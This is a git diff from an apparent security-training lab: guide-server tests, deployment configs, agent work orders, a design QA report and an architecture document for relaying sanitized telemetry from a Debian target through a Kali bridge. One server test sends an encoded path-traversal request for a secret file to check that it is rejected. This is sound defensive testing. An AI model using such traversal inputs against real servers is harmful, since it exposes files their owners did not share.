+  test("serves static files, HEAD, and extensionless SPA routes", async () => {
+    const server = createGuideServer({ staticRoot });
+    const port = await listen(server);
+    try {
+      const index = await request(port);
+      assert.equal(index.status, 200);
+      assert.match(index.body, /guide shell/);
+      assert.equal(index.headers["x-content-type-options"], "nosniff");
+      assert.match(index.headers["content-security-policy"], /connect-src 'self'/);
+
+      const head = await request(port, {
+        method: "HEAD",
+        requestPath: "/app.js",
+      });
+      assert.equal(head.status, 200);
+      assert.equal(head.body, "");
+      assert.equal(head.headers["content-type"], "text/javascript; charset=utf-8");
+
+      const spa = await request(port, { requestPath: "/map/entrance" });
+      assert.equal(spa.status, 200);
+      assert.match(spa.body, /guide shell/);
+
+      const missingAsset = await request(port, {
+        requestPath: "/missing.js",
+      });
+      assert.equal(missingAsset.status, 404);
+    } finally {
+      await close(server);
+    }
+  });
+
+  test("rejects traversal, unsupported methods, and non-session APIs", async () => {
+    const server = createGuideServer({ staticRoot });
+    const port = await listen(server);
+    try {
+      const traversal = await request(port, {
+        requestPath: "/%2e%2e%2fsecret.txt",
+      });
+      assert.equal(traversal.status, 400);
+      assert.equal(JSON.parse(traversal.body).error.code, "unsafe_path");
+
+      const mutation = await request(port, {
+        method: "DELETE",
+        requestPath: "/map",
+      });
+      assert.equal(mutation.status, 405);
+      assert.equal(mutation.headers.allow, "GET, HEAD");
+
+      const apiMutation = await request(port, {
+        method: "PUT",
+        requestPath: "/api/session/state",
+      });
+      assert.equal(apiMutation.status, 405);
+      assert.equal(apiMutation.headers.allow, "GET, POST");
+
+      const unknownApi = await request(port, {
+        requestPath: "/api/private-answer",
+      });
+      assert.equal(unknownApi.status, 404);
+      assert.doesNotMatch(unknownApi.body, /guide shell/);
+    } finally {
+      await close(server);
+    }
+  });
+
+  test("streams state, mutations, and SSE through the fixed telemetry origin", async () => {
+    const seen = [];
+    const telemetry = http.createServer((incoming, response) => {
+      seen.push({
+        authorization: incoming.headers.authorization,
+        method: incoming.method,
+        url: incoming.url,
+      });
+      if (incoming.url === "/api/session/events") {
+        response.writeHead(200, {
+          "Cache-Control": "no-cache",
+          "Content-Type": "text/event-stream; charset=utf-8",
+        });
+        response.write("event: state\ndata: {\"revision\":7}\n\n");
+        incoming.on("close", () => response.end());
+        return;
+      }
+
+      const chunks = [];
+      incoming.on("data", (chunk) => chunks.push(chunk));
+      incoming.on("end", () => {
+        const payload = JSON.stringify({
+          body: Buffer.concat(chunks).toString("utf8"),
+          method: incoming.method,
+          url: incoming.url,
+        });
+        response.writeHead(200, {
+          "Content-Type": "application/json",
+          "Content-Length": Buffer.byteLength(payload),
+        });
+        response.end(payload);
+      });
+    });
+    const telemetryPort = await listen(telemetry);
+    const guide = createGuideServer({
+      staticRoot,
+      telemetryHost: "127.0.0.1",
+      telemetryPort,
+      telemetryToken: TELEMETRY_TOKEN,
+    });
+    const guidePort = await listen(guide);
+
+    try {
+      const state = await request(guidePort, {
+        requestPath: "/api/session/state?revision=6",
+        headers: { authorization: "Bearer browser-must-not-control-this" },
+      });
+      assert.equal(state.status, 200);
+      assert.deepEqual(JSON.parse(state.body), {
+        body: "",
+        method: "GET",
+        url: "/api/session/state?revision=6",
+      });
+
+      const mutation = await request(guidePort, {
+        method: "POST",
+        requestPath: "/api/session/flags/submit",
+        headers: { "Content-Type": "application/json" },
+        body: '{"flag":"LAB{example}"}',
+      });
+      assert.deepEqual(JSON.parse(mutation.body), {
+        body: '{"flag":"LAB{example}"}',
+        method: "POST",
+        url: "/api/session/flags/submit",
+      });
+
+      const sseChunk = await new Promise((resolve, reject) => {
+        const outgoing = http.get(
+          {
+            host: "127.0.0.1",
+            port: guidePort,
+            path: "/api/session/events",
+          },
+          (response) => {
+            assert.equal(
+              response.headers["content-type"],
+              "text/event-stream; charset=utf-8",
+            );
+            response.once("data", (chunk) => {
+              resolve(chunk.toString("utf8"));
+              response.destroy();
+            });
+          },
+        );
+        outgoing.on("error", reject);
+      });
+      assert.match(sseChunk, /event: state/);
+      assert.deepEqual(seen.map(({ method, url }) => `${method} ${url}`), [
+        "GET /api/session/state?revision=6",
+        "POST /api/session/flags/submit",
+        "GET /api/session/events",
+      ]);
+      assert.ok(
+        seen.every(
+          ({ authorization }) =>
+            authorization === `Bearer ${TELEMETRY_TOKEN}`,
+        ),
+      );
+    } finally {
+      await close(guide);
+      await close(telemetry);
+    }
+  });
+
+  test("returns a bounded 502 response when telemetry is unavailable", async () => {
+    const unused = http.createServer();
+    const unavailablePort = await listen(unused);
+    await close(unused);
+
+    const server = createGuideServer({
+      staticRoot,
+      telemetryHost: "127.0.0.1",
+      telemetryPort: unavailablePort,
+      telemetryToken: TELEMETRY_TOKEN,
+    });
+    const port = await listen(server);
+    try {
+      const response = await request(port, {
+        requestPath: "/api/session/state",
+      });
+      assert.equal(response.status, 502);
+      assert.equal(
+        JSON.parse(response.body).error.code,
+        "telemetry_unavailable",
+      );
+    } finally {
+      await close(server);
+    }
+  });
+
+  test("requires a token and defaults the offline fallback to Kali loopback", () => {
+    assert.throws(
+      () => readRuntimeConfig({}),
+      /BRIDGE_TARGET_TOKEN/,
+    );
+    assert.deepEqual(readRuntimeConfig({
+      BRIDGE_TARGET_TOKEN: TELEMETRY_TOKEN,
+    }), {
+      host: "127.0.0.1",
+      port: 8080,
+      staticRoot: fileURLToPath(new URL("../dist/client/", import.meta.url)),
+      telemetryHost: "10.13.37.10",
+      telemetryPort: 8787,
+      telemetryToken: TELEMETRY_TOKEN,
+    });
+  });
+});
diff --git a/apps/lab-guide/tsconfig.json b/apps/lab-guide/tsconfig.json
new file mode 100644
index 0000000..f9f704c
--- /dev/null
+++ b/apps/lab-guide/tsconfig.json
@@ -0,0 +1,21 @@
+{
+  "compilerOptions": {
+    "target": "ES2022",
+    "useDefineForClassFields": true,
+    "lib": ["ES2022", "DOM", "DOM.Iterable"],
+    "allowJs": false,
+    "skipLibCheck": true,
+    "esModuleInterop": true,
+    "allowSyntheticDefaultImports": true,
+    "strict": true,
+    "forceConsistentCasingInFileNames": true,
+    "module": "ESNext",
+    "moduleResolution": "Bundler",
+    "resolveJsonModule": true,
+    "isolatedModules": true,
+    "noEmit": true,
+    "jsx": "react-jsx",
+    "types": ["vite/client", "vitest/globals", "@testing-library/jest-dom"]
+  },
+  "include": ["src", "vite.config.mjs"]
+}
diff --git a/apps/lab-guide/vercel.json b/apps/lab-guide/vercel.json
new file mode 100644
index 0000000..170e580
--- /dev/null
+++ b/apps/lab-guide/vercel.json
@@ -0,0 +1,53 @@
+{
+  "$schema": "https://openapi.vercel.sh/vercel.json",
+  "buildCommand": "npm run build",
+  "outputDirectory": "dist/client",
+  "headers": [
+    {
+      "source": "/(.*)",
+      "headers": [
+        {
+          "key": "Content-Security-Policy",
+          "value": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action 'self'"
+        },
+        {
+          "key": "Permissions-Policy",
+          "value": "camera=(), microphone=(), geolocation=()"
+        },
+        {
+          "key": "Referrer-Policy",
+          "value": "no-referrer"
+        },
+        {
+          "key": "X-Content-Type-Options",
+          "value": "nosniff"
+        },
+        {
+          "key": "X-Frame-Options",
+          "value": "DENY"
+        }
+      ]
+    }
+  ],
+  "rewrites": [
+    {
+      "source": "/api/lab/:path*",
+      "destination": "/api?__route=:path*"
+    },
+    {
+      "source": "/lab",
+      "destination": "/index.html"
+    },
+    {
+      "source": "/lab/:path*",
+      "destination": "/:path*"
+    }
+  ],
+  "redirects": [
+    {
+      "source": "/",
+      "destination": "https://exam-server-one.vercel.app/lab",
+      "permanent": false
+    }
+  ]
+}
diff --git a/apps/lab-guide/vite.config.mjs b/apps/lab-guide/vite.config.mjs
new file mode 100644
index 0000000..e093c0e
--- /dev/null
+++ b/apps/lab-guide/vite.config.mjs
@@ -0,0 +1,26 @@
+import { defineConfig } from "vite";
+import react from "@vitejs/plugin-react";
+
+export default defineConfig({
+  base: "/lab/",
+  build: {
+    outDir: "dist/client",
+  },
+  optimizeDeps: {
+    include: ["react", "react-dom/client"],
+  },
+  test: {
+    environment: "jsdom",
+    setupFiles: "./src/test/setup.ts",
+    css: true,
+    include: ["src/**/*.test.{ts,tsx}"],
+  },
+  server: {
+    host: "0.0.0.0",
+    allowedHosts: ["terminal.local"],
+    warmup: {
+      clientFiles: ["./src/main.tsx"],
+    },
+  },
+  plugins: [react()],
+});
diff --git a/codex_workflow/WORKORDER_BRIDGE_AUDIT.md b/codex_workflow/WORKORDER_BRIDGE_AUDIT.md
new file mode 100644
index 0000000..eb06ada
--- /dev/null
+++ b/codex_workflow/WORKORDER_BRIDGE_AUDIT.md
@@ -0,0 +1,36 @@
+# Work Order: Kali bridge and telemetry audit
+
+## Goal
+
+Report how the existing Debian telemetry can be relayed through a Kali-side
+outbound bridge to a Vercel-hosted guide with reliable session state.
+
+## Non-goals
+
+- Do not edit files.
+- Do not expose Debian directly to the internet.
+- Do not add remote command execution.
+- Do not collect arbitrary shell history.
+
+## Inputs and binding contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `TASK_CONTRACT.md`
+- `labs/open-world-target/telemetry`
+- `labs/open-world-target/platform`
+- `apps/lab-guide/src/types.ts`
+- `apps/lab-guide/src/api.ts`
+
+The latest user decision supersedes the current no-cloud telemetry clause.
+
+## Constraints
+
+- Debian remains reachable only over the direct Ethernet link.
+- Kali initiates all cloud connections.
+- Events remain allowlisted, authenticated, ordered, and replay-resistant.
+- The public projection must not contain undiscovered secrets.
+
+## Done
+
+Return at most 900 words with the proposed protocol, trust boundaries, exact
+reuse points, missing implementation, and tests. Include `file:line` evidence.
diff --git a/codex_workflow/WORKORDER_BRIDGE_IMPLEMENTATION.md b/codex_workflow/WORKORDER_BRIDGE_IMPLEMENTATION.md
new file mode 100644
index 0000000..1c7ed58
--- /dev/null
+++ b/codex_workflow/WORKORDER_BRIDGE_IMPLEMENTATION.md
@@ -0,0 +1,51 @@
+# Work Order: Kali Bridge implementation
+
+## Goal
+
+Implement a production-oriented Node.js Kali Bridge that reads the Debian
+telemetry state/SSE over direct Ethernet and uploads only sanitized full
+projections to the cloud relay.
+
+## Non-goals
+
+- Do not edit contracts, docs, root `package.json`, or `apps/lab-guide`.
+- Do not capture shell commands, output, credentials, files, or flags.
+- Do not forward ports, create a tunnel, enable forwarding, or mutate networking.
+- Do not implement target exploitation.
+
+## Inputs and binding contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `TASK_CONTRACT.md`
+- `docs/LIVE_ARCHITECTURE.md`
+- `labs/open-world-target/telemetry/api-contract.json`
+- `apps/lab-guide/src/types.ts`
+
+## Owned files
+
+- New files only under `labs/open-world-target/bridge`
+
+## Requirements
+
+- Node.js 20+, no shell invocation.
+- Configured target and cloud origins; target defaults to
+  `http://10.13.37.10:8787`.
+- Create a cloud session with deployment Bridge authorization, print only the
+  pairing code and public viewer URL, then retain the per-session upload token
+  in memory.
+- Subscribe to target SSE, upload initial and changed full projections, send
+  bounded heartbeats, reconnect with exponential backoff, and reject revision
+  rollback or a changed payload at the same revision.
+- Poll only allowlisted guide actions (`selectHypothesis`, `unlockHint`), send
+  them to fixed target API paths, and acknowledge them with the resulting
+  snapshot. Do not support manual flag relay.
+- Bound response sizes, validate content types, redact secrets from errors, and
+  stop cleanly on SIGINT/SIGTERM.
+
+## Done
+
+- Unit tests cover configuration, projection boundary, rollback/conflict,
+  SSE parsing/reconnect decisions, fixed action paths, and secret-safe logging.
+- Package-local test command passes.
+- Return at most 700 words with files changed, commands run, and remaining real
+  network gates.
diff --git a/codex_workflow/WORKORDER_CLOUD_GUIDE_AUDIT.md b/codex_workflow/WORKORDER_CLOUD_GUIDE_AUDIT.md
new file mode 100644
index 0000000..bb8e9b2
--- /dev/null
+++ b/codex_workflow/WORKORDER_CLOUD_GUIDE_AUDIT.md
@@ -0,0 +1,37 @@
+# Work Order: Cloud guide audit
+
+## Goal
+
+Report the smallest coherent change that lets `apps/lab-guide` remain useful as a
+standalone Vercel website and switch to live session projections when a Kali
+bridge connects.
+
+## Non-goals
+
+- Do not edit files.
+- Do not redesign the three themes.
+- Do not add command execution from the browser.
+
+## Inputs and binding contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `DESIGN.md`
+- `TASK_CONTRACT.md`
+- `apps/lab-guide/AGENTS.md`
+- `apps/lab-guide/src`
+- `apps/lab-guide/server`
+- `apps/lab-guide/worker`
+
+The latest user decision supersedes the current local-only hosting clauses:
+public reading mode plus live, event-driven display changes is now required.
+
+## Constraints
+
+- Undiscovered answers and flags must not enter the public bundle.
+- Existing PLAY, OPS, and FOCUS modes remain first-class.
+- Treat raw command capture as out of scope unless explicitly opt-in.
+
+## Done
+
+Return at most 900 words covering current data flow, missing states, exact files
+to change, security risks, and test gaps. Include `file:line` evidence.
diff --git a/codex_workflow/WORKORDER_CLOUD_IMPLEMENTATION.md b/codex_workflow/WORKORDER_CLOUD_IMPLEMENTATION.md
new file mode 100644
index 0000000..27fca76
--- /dev/null
+++ b/codex_workflow/WORKORDER_CLOUD_IMPLEMENTATION.md
@@ -0,0 +1,58 @@
+# Work Order: Vercel live relay implementation
+
+## Goal
+
+Implement the Vercel-side session relay for short-lived pairing, durable
+sanitized projections, SSE updates, and an allowlisted guide-action queue.
+
+## Non-goals
+
+- Do not edit contracts, docs, `src`, or target/bridge code.
+- Do not store or accept raw commands, output, credentials, file contents, or
+  flag strings.
+- Do not provide remote shell or arbitrary URL forwarding.
+- Do not deploy or create external resources.
+
+## Inputs and binding contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `TASK_CONTRACT.md`
+- `docs/LIVE_ARCHITECTURE.md`
+- `apps/lab-guide/src/types.ts`
+- `apps/lab-guide/src/api.ts`
+- `apps/lab-guide/package.json`
+
+## Owned files
+
+- New files under `apps/lab-guide/cloud`
+- New files under `apps/lab-guide/api`
+- New cloud-focused tests under `apps/lab-guide/tests`
+- `apps/lab-guide/vercel.json`
+- `apps/lab-guide/package.json` and lockfile only for an explicitly required
+  Redis dependency
+
+## Requirements
+
+- Use a durable Redis adapter in production and an injected memory store in
+  tests. Never claim function memory is durable.
+- Bridge creation requires a deployment-level bearer secret.
+- Generate opaque session and upload tokens plus a short-lived pairing code.
+- Pairing sets a signed, Secure, HttpOnly, SameSite=Strict cookie.
+- Snapshot upload strictly sanitizes the public projection, rejects forbidden
+  fields and locked hint bodies, and enforces monotonic revision plus
+  same-revision hash idempotence.
+- `GET /api/lab/session/state` and bounded `GET /api/lab/session/events` serve only the
+  paired session.
+- Queue only `selectHypothesis` and `unlockHint`; Bridge polling and snapshot
+  acknowledgement remove completed actions.
+- Session TTL, body limits, no-store headers, safe errors, and constant-time
+  secret comparison are required.
+
+## Done
+
+- Unit/integration tests cover auth, pairing, cookie tampering, expiry,
+  sanitization, rollback/conflict, action allowlist, acknowledgement, and SSE
+  output.
+- `npm --prefix apps/lab-guide test` and `typecheck` remain passable.
+- Return at most 800 words with files changed, commands run, and required Vercel
+  environment variables.
diff --git a/codex_workflow/WORKORDER_GUIDE.md b/codex_workflow/WORKORDER_GUIDE.md
new file mode 100644
index 0000000..14d6b48
--- /dev/null
+++ b/codex_workflow/WORKORDER_GUIDE.md
@@ -0,0 +1,38 @@
+# Work Order: Lab Guide Frontend
+
+## Bound contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `DESIGN.md`
+- `TASK_CONTRACT.md`
+- `docs/design/exploration-map.png`
+- `docs/design/situation-consultation.png`
+
+## Goal
+
+Implement the accepted exploration-map and situation-consultation designs as a faithful, responsive, interactive React application under `apps/lab-guide`.
+
+## Non-goals
+
+- Do not edit root contracts, README, target world, telemetry, platform, operator, or legacy lab.
+- Do not invent new screens, gamification, AI chat, or cyberpunk decoration.
+- Do not embed unrevealed world answers in the client.
+
+## Constraints
+
+- Follow the Product Design image-to-code skill and existing ExamServer tokens.
+- Use a real icon library; no inline SVG, CSS drawings, emoji, or placeholder art.
+- Core tabs, hypothesis selection, hints, map selection, reconnect/fallback, and end-session confirmation must work.
+- API client uses relative URLs and supports deterministic fixture mode for browser QA.
+- Match 1366×768 references; support 1280×720 and 360px without horizontal overflow.
+
+## Done
+
+- Unit/component tests, typecheck, and production build pass.
+- Both primary modes and required interaction states are implemented.
+- No console errors, inaccessible controls, or static core controls remain.
+- Report exact changed paths and verification commands.
+
+## Report
+
+Return at most 12 bullets: implementation, tests, design deviations, and blockers.
diff --git a/codex_workflow/WORKORDER_PLATFORM.md b/codex_workflow/WORKORDER_PLATFORM.md
new file mode 100644
index 0000000..3803452
--- /dev/null
+++ b/codex_workflow/WORKORDER_PLATFORM.md
@@ -0,0 +1,35 @@
+# Work Order: Debian Platform and Recovery
+
+## Bound contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `DESIGN.md`
+- `TASK_CONTRACT.md`
+
+## Goal
+
+Implement deterministic Debian exercise/maintenance configuration, wired-only network controls, fail-closed preflight, trusted recovery-media workflow, and operator documentation under `labs/open-world-target/platform` and `labs/open-world-target/operator`.
+
+## Non-goals
+
+- Do not edit root contracts, README, guide, telemetry/world, or legacy lab.
+- Do not run partitioning, formatting, bootloader, network shutdown, reboot, or recovery commands on this machine.
+- Do not claim physical verification.
+
+## Constraints
+
+- All destructive scripts default to dry-run and require exact disk identity, partition UUID, confirmation phrase, and hash before mutation.
+- Exercise mode must have no Wi-Fi, default route, external DNS, or Internet egress.
+- Maintenance mode must stop vulnerable services before enabling update connectivity.
+- Recovery happens from trusted removable media, never the compromised Debian installation.
+
+## Done
+
+- Build/install manifest and mode units are present.
+- Network isolation and mode preflight can be tested without changing host state.
+- Recovery normal path, EFI verification, and full-image fallback are documented and guarded.
+- Automated static/unit tests cover fail-closed behavior.
+
+## Report
+
+Return at most 12 bullets: changed paths, tests run, destructive guards, physical gates, and root questions.
diff --git a/codex_workflow/WORKORDER_TARGET_DECOUPLING.md b/codex_workflow/WORKORDER_TARGET_DECOUPLING.md
new file mode 100644
index 0000000..098d6a5
--- /dev/null
+++ b/codex_workflow/WORKORDER_TARGET_DECOUPLING.md
@@ -0,0 +1,55 @@
+# Work Order: Remove the guide from the Debian target
+
+## Goal
+
+Make the Debian bundle contain only the vulnerable world, target telemetry, and
+isolated direct-link services. The public guide is no longer installed, served,
+or named by the target.
+
+## Non-goals
+
+- Do not edit `apps/lab-guide/src`, `apps/lab-guide/cloud`, `apps/lab-guide/api`,
+  or Bridge code.
+- Do not weaken recovery, dual-boot, event authentication, or vulnerable-world
+  tests.
+- Do not give Debian a default route, upstream DNS, Wi-Fi, NAT, or forwarding.
+- Do not deploy anything.
+
+## Inputs and binding contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `TASK_CONTRACT.md`
+- `docs/LIVE_ARCHITECTURE.md`
+- `labs/open-world-target/platform`
+- `labs/open-world-target/operator`
+- `apps/lab-guide/server` is retained only as a development/local fallback and
+  must not be copied into the Debian target bundle.
+
+## Owned files
+
+- `labs/open-world-target/platform`
+- `labs/open-world-target/operator`
+- Target/operator portions of `README.md`
+- Target-server tests under `apps/lab-guide/tests` only if an assertion refers
+  to Debian hosting defaults
+
+## Requirements
+
+- Remove `open-world-guide.service`, guide user/group, guide files, guide port
+  8080, and guide build input from the Debian bundle and vulnerable target.
+- Stop mapping `lab.examserver.test` to `10.13.37.10`.
+- Keep DHCP for the direct Ethernet but do not advertise target DNS as the
+  resolver for public browsing. If dnsmasq remains, disable its DNS listener.
+- Kali reaches target telemetry at `http://10.13.37.10:8787`; expose only the
+  minimum authenticated/read-only projection endpoints required by Bridge.
+- Public/operator instructions use the Vercel/ExamServer guide plus a Bridge
+  pairing code. Raw target IP remains the attack target.
+- Preserve a clearly named local-only fallback server for fully offline drills,
+  but it runs on Kali, never Debian.
+
+## Done
+
+- Platform, operator, target-bundle, telemetry, and repository tests pass.
+- Static search finds no active Debian service, port, DNS mapping, bundle path,
+  or day-of instruction that hosts the guide on the target.
+- Return at most 900 words with changed files, tests, and physical gates.
diff --git a/codex_workflow/WORKORDER_TARGET_WORLD.md b/codex_workflow/WORKORDER_TARGET_WORLD.md
new file mode 100644
index 0000000..b86d1bd
--- /dev/null
+++ b/codex_workflow/WORKORDER_TARGET_WORLD.md
@@ -0,0 +1,34 @@
+# Work Order: Target World and Telemetry
+
+## Bound contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `DESIGN.md`
+- `TASK_CONTRACT.md`
+
+## Goal
+
+Implement the fictional business target fixtures, 14-flag world definition, privacy-bounded event/state engine, local HTTP/SSE API, and automated tests under `labs/open-world-target/world` and `labs/open-world-target/telemetry`.
+
+## Non-goals
+
+- Do not edit root contracts, README, guide frontend, platform, operator, or legacy lab.
+- Do not implement real third-party CVEs, brute force, malware, persistence, or external networking.
+- Do not execute exploit commands against this machine.
+
+## Constraints
+
+- Use dependency-light Debian-compatible code.
+- Never persist raw commands, parameters, credentials, file contents, or arbitrary logs.
+- Do not ship unrevealed answers in public API responses.
+- Fixtures must be obviously synthetic and contain no real personal or company data.
+
+## Done
+
+- World graph validates 3 entrances, 3 footholds, 3 root paths, 14 flags, and nine viable combinations.
+- Event allowlist, idempotent state transitions, sanitized projection, SSE, reconnect/state fallback, and manual flag fallback are covered by executable tests.
+- Static service fixtures/config examples express the intended Web, SMB, NFS, sudo, timer, and SUID training boundaries.
+
+## Report
+
+Return at most 12 bullets: changed paths, tests run, limitations, and questions requiring root judgment.
diff --git a/codex_workflow/WORKORDER_VERIFICATION_AUDIT.md b/codex_workflow/WORKORDER_VERIFICATION_AUDIT.md
new file mode 100644
index 0000000..31d0031
--- /dev/null
+++ b/codex_workflow/WORKORDER_VERIFICATION_AUDIT.md
@@ -0,0 +1,33 @@
+# Work Order: Live transition verification audit
+
+## Goal
+
+Define an executable verification matrix for a web-readable idle state and
+real-time session-driven route and display changes.
+
+## Non-goals
+
+- Do not edit files.
+- Do not count fixture-only screenshots as proof of cloud integration.
+- Do not claim physical target readiness.
+
+## Inputs and binding contracts
+
+- `PROJECT_CONSTITUTION.md`
+- `DESIGN.md`
+- `TASK_CONTRACT.md`
+- `apps/lab-guide/src`
+- `apps/lab-guide/tests`
+- `tests`
+
+## Constraints
+
+- Verify desktop and 360x800.
+- Cover offline reading, waiting, pairing/live, reconnecting, and complete.
+- Verify that a new sanitized event changes the visible projection without a
+  page reload.
+
+## Done
+
+Return at most 700 words listing test layers, concrete commands, browser
+scenarios, and blockers. Include `file:line` evidence.
diff --git a/design-qa.md b/design-qa.md
new file mode 100644
index 0000000..0f8321b
--- /dev/null
+++ b/design-qa.md
@@ -0,0 +1,142 @@
+# Design QA — ExamServer Open World
+
+Date: 2026-07-28
+
+## Design intent
+
+The interface follows one progressive-disclosure rule: raise cognitive load only
+after the learner asks for more.
+
+- Always visible: the current screen, current objective, world map or hypothesis
+  task, and the primary action.
+- Available but closed: live pairing, confirmed facts, investigations or hints,
+  recent events, and theme choices.
+- Every hidden area has a labelled pull with a useful count or current value.
+- Pulling one label opens one surface. Opening another replaces it.
+- Live events update the objective, map, and pull counts without opening a
+  surface on the learner's behalf.
+
+Desktop uses a side drawer. Narrow screens use a bottom sheet. Drawer contents
+are conditionally mounted, so closed information is absent from the tab order
+and accessibility tree rather than merely covered.
+
+## Visual language
+
+The same disclosure hierarchy is authored in three distinct themes:
+
+- PLAY — hard black borders, cyan and yellow signals, playful mission-map
+  geometry.
+- OPS — midnight field, phosphor routes, amber selection, restrained mono
+  metadata.
+- FOCUS — warm paper, thin rules, vermilion and cobalt state language,
+  editorial typography.
+
+Theme selection itself is folded under the labelled `見た目` control. Changing
+theme does not reset the current map, consultation, or live state.
+
+Evidence:
+
+- `docs/qa/live/disclosure-public-play-1366x768.png`
+- `docs/qa/live/disclosure-public-ops-1366x768.png`
+- `docs/qa/live/disclosure-public-focus-1366x768.png`
+- `docs/qa/live/disclosure-consultation-focus-1366x768.png`
+
+## Initial-load verification
+
+Verified at `1366×768` in Chromium:
+
+- The world map owns the available width; the previous left, right, and bottom
+  information rails are not visible.
+- The current objective and four labelled pulls are visible.
+- Pairing input, facts, investigations, and event history are absent until
+  requested.
+- Public browse mode makes no API request.
+- No horizontal overflow and no console errors.
+
+Evidence:
+
+- `docs/qa/live/disclosure-public-play-1366x768.png`
+
+## On-request disclosure
+
+Verified at `1366×768` in Chromium and `1280×720` in Firefox:
+
+- Pulling `確定した事実` opens one `480px` side drawer.
+- The close control receives initial focus.
+- `Tab` and `Shift+Tab` stay within the drawer.
+- `Escape` and the backdrop close it.
+- Closing restores focus to the pull that opened it.
+- Body scrolling is locked only while the drawer is open.
+
+Evidence:
+
+- `docs/qa/live/disclosure-facts-drawer-play-1366x768.png`
+- `docs/qa/live/disclosure-firefox-facts-1280x720.png`
+
+## Narrow-screen verification
+
+Verified at `360×800` in Chromium and Firefox:
+
+- Document width equals viewport width; there is no horizontal overflow.
+- All four pull labels remain visible as a `2×2` group before the map.
+- The initial screen does not vertically stack every information panel.
+- Pairing and hints open as bottom sheets, not full-page replacements.
+- The pairing sheet contains only pairing controls.
+- The hint sheet contains the three progressive hint levels.
+- `Escape` closes the sheet and restores focus to its pull.
+
+Evidence:
+
+- `docs/qa/live/disclosure-public-play-360x800.png`
+- `docs/qa/live/disclosure-pairing-sheet-play-360x800.png`
+- `docs/qa/live/disclosure-consultation-play-360x800.png`
+- `docs/qa/live/disclosure-hints-sheet-play-360x800.png`
+- `docs/qa/live/disclosure-firefox-pairing-360x800.png`
+
+## Live-state verification
+
+Verified with deterministic network fixtures:
+
+- Entering a valid pairing code closes the pairing drawer, removes its pull,
+  exposes the end-session control, and changes the connection marker to
+  `paired`.
+- A later telemetry event changes the heading from `標的との接続を確かめる`
+  to `Webの入口を発見`.
+- Fact and event counts move from `0` to `1`.
+- The browser does not reload.
+- No facts or event drawer opens automatically.
+- No console errors or horizontal overflow.
+
+Evidence:
+
+- `docs/qa/live/disclosure-pairing-to-live-1366x768.png`
+- `docs/qa/live/disclosure-live-transition-after-1366x768.png`
+
+## Automated verification
+
+- Repository contracts: 4/4 passed.
+- World graph: 3 entrances, 3 footholds, 3 root paths, 14 flags, all 9 route
+  combinations.
+- Telemetry: 42 passed, 1 Linux-only skip.
+- Bridge: 19/19 passed.
+- Platform: 52 passed, 2 Linux/WSL-only skips.
+- Operator: 7/7 passed.
+- Guide Vitest: 27/27 passed.
+- Guide Node suites: 19/19 passed.
+- TypeScript: passed.
+- Vite production build: passed.
+- Chromium and Firefox console errors: none.
+
+## External verification boundary
+
+The repository and browser implementation pass. The canonical production
+surface is <https://exam-server-one.vercel.app/lab>; the former standalone
+Sites surface is retired. Production is accepted only after the `/api/lab`
+smoke passes: `create 200 → pair 200 → replay 404 → waiting state 200 →
+snapshot 204 → live state 200 → SSE 200`.
+
+The physical Kali-to-Debian connection, dual-boot installation, and all
+physical recovery gates remain **NOT RUN** until tested on the designated
+hardware.
+
+final result: passed
diff --git a/docs/LIVE_ARCHITECTURE.md b/docs/LIVE_ARCHITECTURE.md
new file mode 100644
index 0000000..6ffaa26
--- /dev/null
+++ b/docs/LIVE_ARCHITECTURE.md
@@ -0,0 +1,130 @@
+# Live architecture
+
+## Outcome
+
+The public ExamServer lab remains useful without a target. During an exercise,
+one paired browser follows sanitized Debian learning state within two seconds,
+without exposing the target network or collecting terminal history.
+
+## State model
+
+| State | Source of truth | Browser definition |
+| --- | --- | --- |
+| `browse` | static public content | No session is implied. Show the world, equipment, rules, and pairing entry. |
+| `waiting` | cloud session record | A valid pairing exists, but the Bridge has not uploaded a projection. |
+| `live` | latest Bridge snapshot | Show the latest confirmed projection and accept newer revisions. |
+| `reconnecting` | last confirmed snapshot | Keep the screen intact when the Bridge heartbeat is stale. |
+| `unavailable` | target telemetry status | Automatic detection is down. Cloud manual flag entry stays disabled. |
+| `complete` | latest Bridge snapshot | Show the confirmed route to root and the recovery warning. |
+| `expired` | session TTL | Remove the live association and return to `browse`. |
+
+Loading, empty facts, errors, zero discoveries, and the 14-flag limit are
+orthogonal display states. An old revision must never replace a newer one.
+
+## Trust boundaries
+
+```text
+Debian telemetry :8787
+        |
+        | direct Ethernet, public projection only
+        v
+Kali Bridge
+        |
+        | outbound HTTPS, per-session bearer token
+        v
+Lab Vercel Function + Upstash Redis
+        |
+        | ExamServer reverse proxy, same-origin cookie + SSE
+        v
+ExamServer `/lab` browser
+```
+
+- Debian has no default route, external DNS, Wi-Fi, NAT, or forwarding.
+- Kali may use a separate internet interface, but forwarding and NAT remain off.
+- The Bridge is a projection relay, not a TCP tunnel or remote shell.
+- Upstash Redis stores only the sanitized public projection, connection timestamps,
+  and allowlisted UI actions.
+- Raw commands, output, HTTP parameters, credentials, tokens, file contents,
+  and flag strings are rejected.
+
+## Module responsibilities
+
+- `apps/lab-guide/src`: renders browse and paired live experiences.
+- `apps/lab-guide/cloud/session-service.mjs`: owns session lifecycle and
+  monotonic snapshot acceptance.
+- `apps/lab-guide/cloud/store.mjs`: owns durable Upstash Redis persistence.
+- `apps/lab-guide/api`: adapts Vercel requests to the cloud service.
+- ExamServer reverse proxies `/lab` and `/api/lab` to the isolated lab
+  deployment, so its React and CSS do not enter the ExamServer bundle.
+- `labs/open-world-target/bridge`: reads target SSE, uploads snapshots, and
+  relays allowlisted guide actions.
+- `labs/open-world-target/telemetry`: remains the only learning state machine.
+
+## Interfaces
+
+### Bridge session
+
+`POST /api/lab/bridge/session`
+
+- Auth: deployment-level Bridge bearer secret.
+- Returns: opaque session ID, short-lived pairing code, per-session upload
+  token, and expiry.
+
+### Pair browser
+
+`POST /api/lab/session/pair`
+
+- Body: pairing code only.
+- Returns: waiting or current public projection.
+- Side effect: sets a signed, secure, same-origin, HttpOnly session cookie.
+
